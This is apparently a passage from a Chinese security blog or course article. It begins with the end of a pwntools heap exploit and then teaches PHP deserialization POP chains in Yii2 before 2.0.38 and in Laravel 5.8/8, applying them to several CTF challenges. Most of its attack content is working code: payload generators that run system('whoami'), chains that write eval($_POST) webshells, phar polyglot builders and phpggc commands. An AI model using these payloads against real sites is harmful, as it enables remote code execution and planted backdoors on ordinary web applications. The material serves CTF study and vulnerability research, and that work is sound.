menu(3)
p.sendlineafter("Index :", str(index))
def Free(index):
menu(4)
p.sendlineafter("Index :", str(index))
def debug():
gdb.attach(p)
p = process('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./heapcreator')
free_got = elf.got['free']
Create(24, "content1")
Create(16, "content2")
binsh = "/bin/sh\x00"
Edit(0, binsh.ljust(25, "A"))
Free(1)
Create(0x30, "content3")
Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got))
Show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("free addr: 0x%x"%free_addr)
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system addr: ' + hex(system_addr))
Edit(1, p64(system_addr))
debug()
Free(0)
p.interactive()
参考链接
https://blog.csdn.net/qq_41202237/article/details/108320408?fileGuid=6cwyDXdtXXk6t8Jvhttps://blog.csdn.net/weixin_43921239/article/details/107841328?fileGuid=6cwyDXdtXXk6t8Jv
通过几道CTF题学习yii2框架
简介
Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload,并结合CTF题目去学习yii2框架
Yii2<2.0.38反序列化
安装:在 https://github.com/yiisoft/yii2/releases 下载2.0.37的版本
然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值,运行 php yii serve,新建一个控制器
yii-basic-app-2.0.37\basic\controllers\TestController.php
<?php
namespace app\controllers;
use yii\web\Controller;
class TestController extends Controller{
public function actionTest($name){
return unserialize($name);
}
}
就可以进行测试了
?r=test/test&name=
链一
链的入口在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
跟进$this->reset();
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
这里的$this->_dataReader可控,并调用了close()方法,那么可以找到一个类不存在close()方法,但存在__call方法就可以调用他了
在yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
这里的$method为close,$attributes为空,继续跟进format
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
跟进getFormatter
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
似曾相识的代码,laravel5.8某条链就出现过,这里$this->formatters可控,也就是$this->getFormatter($formatter)这这个可控,但是$arguments的值我们无法控制,值为空
到这里可以执行phpinfo了
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace {
$a = new Faker\Generator(array('close'=>'phpinfo'));
$b = new yii\db\BatchQueryResult($a);
print(urlencode(serialize($b)));
}
但是我们想要rce的话,还要在yii2中已有的无参方法中进行挖掘
这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数
call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
然后找到下面两个都比较好用
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
这里的$this->checkAccess和$this->id都是我们可控的
所以直接构造就行了
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('close'=>array($c, 'run')));
$a = new yii\db\BatchQueryResult($b);
print(urlencode(serialize($a)));
}
链二
这个是yii2 2.0.37的另外一条链
起点和链一相同,是BatchQueryResult类的__destruct,然后是$this->_dataReader->close(),但是这里不找__call,我们去找存在close方法的类
找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php
class DbSession extends MultiFieldSession
{
...
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
这里跟进$this->composeFields()
abstract class MultiFieldSession extends Session
{
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
这里$this->writeCallback可控,$this是一个对象,所以这里调phpinfo的话应该不行,不过可以续上链一的run方法(即那个无参的方法)
这里直接构造即可
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace yii\web{
class DbSession{
public $writeCallback;
public function __construct($writeCallback) {
$this->writeCallback = $writeCallback;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new yii\web\DbSession(array($c, 'run'));
$a = new yii\db\BatchQueryResult($b);
print(urlencode(serialize($a)));
}
链三
我们可以在yii2 2.0.38的commit看到他加了一个__wakeup
这里限制了链一的起点BatchQueryResult无法使用,后面的__call的链没有被破坏,所以我们继续寻找一个__destruct
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php
public function __destruct()
{
$this->stopProcess();
}
这里继续跟进stopProcess
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
这里的$this->processes可控,所以可以利用$process->isRunning()来进行触发__call
后面的利用就和链一相同了
<?php
namespace Codeception\Extension{
class RunProcess{
private $processes = [];
public function __construct($processes) {
$this->processes[] = $processes;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('isRunning'=>array($c, 'run')));
$a = new Codeception\Extension\RunProcess($b);
print(urlencode(serialize($a)));
}
链四
同样的先找__destruct
yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
这里$nsKey可控,跟进clearAll
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}
这里没有触发__call的地方,但是存在字符串的拼接,可以触发__toString
随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php
public function __toString()
{
return $this->__dom__->saveXML();
}
同样用他去触发__call
<?php
namespace {
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys = [];
public function __construct($path,$keys) {
$this->path = $path;
$this->keys = $keys;
}
}
}
namespace Codeception\Util{
class XmlBuilder{
protected $__dom__;
public function __construct($__dom__) {
$this->__dom__ = $__dom__;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('saveXML'=>array($c,'run')));
$a = new Codeception\Util\XmlBuilder($b);
$d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));
print(urlencode(serialize($d)));
}
phpggc
使用./phpggc -l yii2可以看到有两条yii2的链
可以使用如下命令快速得到链,-u指url编码
./phpggc Yii2/RCE1 system id -u
phpggc的链二的终点是一个eval,所以这里可以直接写shell,-b指base64编码
./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b
CTF题目
[HMBCTF 2021]framework
把题目附件解压,看到html\controllers\SiteController.php
class SiteController extends Controller
{
public function actionAbout($message = 'Hello')
{
$data = base64_decode($message);
unserialize($data);
}
这里可以这样传参
?r=site/about&message=
拿链一打了一下,发现一下system等函数被ban
这里用phpggc yii2的链二写一个shell进去,然后用蚁剑的 apache/mod 绕 disable,运行 /readflag 即可获取 flag
[CISCN2021 Quals]filter
据说这是配置文件里面的重要内容,或许对你有用!!
'log' => [
'traceLevel' => YII_DEBUG ? 0 : 0,
'targets' => [
[
'class' => 'yii\log\FileTarget',
'levels' => ['error'],
'logVars' => [],
],
],
],
看到附件的SiteController.php就改了这个地方
public function actionIndex()
{
$file = Yii::$app->request->get('file');
$res = file_get_contents($file);
file_put_contents($file,$res);
return $this->render('index');
}
yii框架的runtime/logs目录下有一个app.log
看一下依赖发现monolog符合
"require": {
"php": ">=5.6.0",
"yiisoft/yii2": "~2.0.14",
"yiisoft/yii2-bootstrap": "~2.0.0",
"yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",
"monolog/monolog":"1.19"
},
首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc生成
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
写入日志,注意最后面要加个字符a
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=0
保留phar的内容
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
最后用phar协议打一下
/?file=phar://../runtime/logs/app.log/test.txt
然后在根目录找到This_is_flaaagggg
然后用这个找一下flag即可
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
通过几道CTF题学习Laravel框架
Laravel5.8.x反序列化POP链
安装:其中--prefer-dist表示优先下载zip压缩包方式
composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8
在路由文件routes/web.php中添加
Route::get('/foo', function () {
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Test laravel5.8 pop";
});
然后在public目录起一个php服务就可以进行测试了
cd /public
php -S 0.0.0.0:port
/foo?c=
链一
链的入口是在laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里的$this->events和$this->event可控,这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php来
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
跟踪进commandShouldBeQueued
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口
满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
这里的$this->queueResolver和$connection都是可控的,到这里就可以直接构造payload
rce
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher('system');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
eval执行
到这里已经可以调用任意类的任意方法了,但是call_user_func无法执行eval函数,如果我们的system被ban了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
这里有一个eval函数,这里需要绕过eval上面的if语句,否则直接就return了
$definition变量是MockDefinition类,跟进一下
class MockDefinition
{
protected $config;
protected $code;
...
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
}
这里$code,$config可控,但是呢$definition->getClassName()需要一个不存在的类,我们找一个类其getName是可控的,然后构造一个不存在的类即可,如下
laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php
class MockConfiguration
{
...
public function getName()
{
return $this->name;
}
...
}
payload如下
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct(MockConfiguration $config)
{
$this->config = $config;
$this->code = '<?php phpinfo();?>';
}
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name = "none class";
}
}
namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{
}
}
}
namespace {
$config = new \Mockery\Generator\MockConfiguration();
$connection = new \Mockery\Generator\MockDefinition($config);
$event = new \Illuminate\Broadcasting\BroadcastEvent($connection);
$queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");
$events = new \Illuminate\Bus\Dispatcher($queueResolver);
$pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);
echo urlencode(serialize($pendingBroadcast));
}
利用跳板
如果说靶机禁用了system等函数,我们希望用file_put_contents写shell等双参数的函数呢,这里有一个好的跳板laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
final class LazyOption extends Option
{
...
public function filter($callable)
{
return $this->option()->filter($callable);
}
...
private function option()
{
if (null === $this->option) {
/** @var mixed */
$option = call_user_func_array($this->callback, $this->arguments);
这里的$this->callback,$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option的
这里可以直接构造payload
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
public function __construct($callback, $arguments)
{
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
链二
入口同样是
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里转换思路,找某个类没有实现dispatch方法却有__call方法,这里就可以直接调用,找到laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php
class Validator implements ValidatorContract
{
...
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控
跟踪进callExtension方法
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];
if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
$callback和$parameters可控,于是就可以构造payload了
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation{
class Validator{
protected $extensions;
public function __construct($extensions)
{
$this->extensions = $extensions;
}
}
}
namespace{
$b = new Illuminate\Validation\Validator(array(''=>'system'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');
echo urlencode(serialize($a));
}
这条链在Laravel8里面也是可以用的
利用跳板
和上面一样可以加LazyOption这个跳板
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace PhpOption {
class LazyOption {
private $callback;
private $arguments;
public function __construct($callback, $arguments) {
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
$b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
print(urlencode(serialize($a)));
}
Laravel8反序列化POP链
在下面参考链接文章中Laravel8有介绍三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类
laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里的$this->events和$this->event可控
同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法
要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了
看到laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php
public function __call($method, $parameters)
{
return $this->__invoke()->{$method}(...$parameters);
}
/**
* Resolve the variable.
*
* @return mixed
*/
public function __invoke()
{
return call_user_func($this->callable);
}
这里的_call会直接调用__invoke,$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\View {
class InvokableComponentVariable {
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace {
$b = new Illuminate\View\InvokableComponentVariable('phpinfo');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);
print(urlencode(serialize($a)));
}
因为这里我们只能控制$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试
CTF题目
lumenserial
lumenserial\routes\web.php先看到路由文件
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');
再看到
lumenserial\app\Http\Controllers\EditorController.php
class EditorController extends Controller
{
private function download($url)
{
...
$content = file_get_contents($url);
发现这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage 方法中的 $sources 变量
class EditorController extends Controller
{
...
protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];
if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
我们看到main发现他是通过call_user_func来调用带do开头的方法
class EditorController extends Controller
{
...
public function main(Request $request)
{
$action = $request->query('action');
try {
if (is_string($action) && method_exists($this, "do{$action}")) {
return call_user_func([$this, "do{$action}"], $request);
} else {
可以通过如下控制变量
http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif
然后在上面的5.8链的基础加上如下
@unlink("test.phar");
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
上传phar文件再用phar协议打即可
[HMBCTF 2021]EzLight
给了source.zip源码,是laravel框架开发的lightcms,先在本地把环境搭起来先,主要是修改.env文件改改数据库信息
先看到source\source\app\Http\Controllers\Admin\NEditorController.php
public function catchImage(Request $request)
{
...
$files = array_unique((array) $request->post('file'));
$urls = [];
foreach ($files as $v) {
$image = $this->fetchImageFile($v);
在catchImage函数里面以post传给file参数再给到fetchImageFile的$url
protected function fetchImageFile($url)
{
if (isWebp($data)) {
$image = Image::make(imagecreatefromwebp($url));
$extension = 'webp';
} else {
$image = Image::make($data);
}
这里的$url可控,这里imagecreatefromwebp因为isWebp的限制无法进入,所以这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了
然后一直跟进就可以发现有个file_get_contents函数
至此结束,这里可以phar反序列化了
用上面的链一即可
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
public function __construct($callback, $arguments)
{
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
@unlink("test.phar");
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
rename('test.phar','test.jpg');
}
上传之后,在vps上放
phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif
再到/admin/neditor/serve/catchImage用file传参打就可以了
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

